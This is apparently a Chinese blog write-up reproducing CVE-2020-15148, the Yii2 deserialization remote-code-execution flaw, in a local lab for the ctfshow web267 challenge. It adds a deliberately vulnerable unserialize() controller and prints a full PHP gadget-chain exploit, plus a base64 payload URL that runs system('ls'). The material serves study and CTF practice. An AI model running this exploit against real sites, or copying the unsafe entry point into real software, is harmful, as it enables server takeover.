CVE-2020-15148 PHP-Yii框架反序列化漏洞复现

在ctfshow web267 这题中很好的体现了此漏洞。

参考链接:CVE-2020-15148 Yii2反序列化RCE分析与复现 - FreeBuf网络安全行业门户

环境搭建

  • 系统环境: kali 2021(子系统)

  • 将下载的压缩包解压,进入目录将会看到如下文件:

  • 进入 ./confog/web.php 将 cookieValidationKey 修改一下,内容随便都可以。不修改启动网页将报错。

  • 输入 php yii serve 启动这个网页。本地8080端口并本地查看

  • 如图所示成功访问页面,接下来 尝试 弱口令登陆: admin:admin

  • 创建反序列化入口: ./controllers/TestController.php

1
2
3
4
5
6
7
8
9
<?php
namespace app\controllers;

class BackdoorController extends \yii\web\Controller
{
public function actionShell($code){
return unserialize(base64_decode($code));
}
}

分析

  • 入口创建成功,现在来看看大佬的 exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'phpinfo'; // 可控参数
$this->id = '1'; // 可控参数
// 4
}
}
}
namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
// 3
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
// 2
}
}
}
namespace{
// 1
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
  • 在 1 处 可以看到 new yii\db\BatchQueryResult 对象,从而执行了 class BatchQueryResult中的 construct()函数( 2 )。
  • 在 2 处 construct()函数中,new Generator 对象,从而执行了 class Generator中的 construct()函数( 3 )
  • 在 3 处 construct()函数中,new CreateAction 对象,从而执行了 class CreateAction 中的construct()函数中的可控参数( 4 )
  • 这个执行过程就是一个套娃环节。
  • 现在大致了解了 exp 是如何运行的了。
  • 所以现在来利用一下这个 exp 吧。深层次的我也解释不清而且这个复现网上很多,能用就行。

复现

  • url 入口:
1
http://localhost:8080/index.php?r=backdoor/shell&code=xxx // xxx 为 exp 生成的内容。
  • 首先将可控参数设置为 phpinfo 并查看是否会显示处我本地的 php环境。
1
2
3
4
……
$this->checkAccess = 'phpinfo'; // 可控参数
$this->id = '1'; // 可控参数
……

  • 如图所示成功显示了 phpinfo 信息。
  • 再将可控参数改为我们想执行的语句。
1
2
3
4
……
$this->checkAccess = 'system'; // 可控参数,注意 若 system不可用,可用passthru,shell_exec 等代替。
$this->id = 'ls'; // 可控参数
……

1
http://localhost:8080/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjI6ImxzIjt9aToxO3M6MzoicnVuIjt9fX19

  • 如图所示成功显示出当前目录下的内容。

  • 至此,我们可以通过这个漏洞来达到我们的目的。

总结

  • CVE-2020-15148
  • 这个漏洞,可能会作为变种出现的 CTF web 题当中,ctshow web267 就是最好的例子。
  • 革命尚未成功,我等还需努力。
  • PHP 是世界上最好的语言。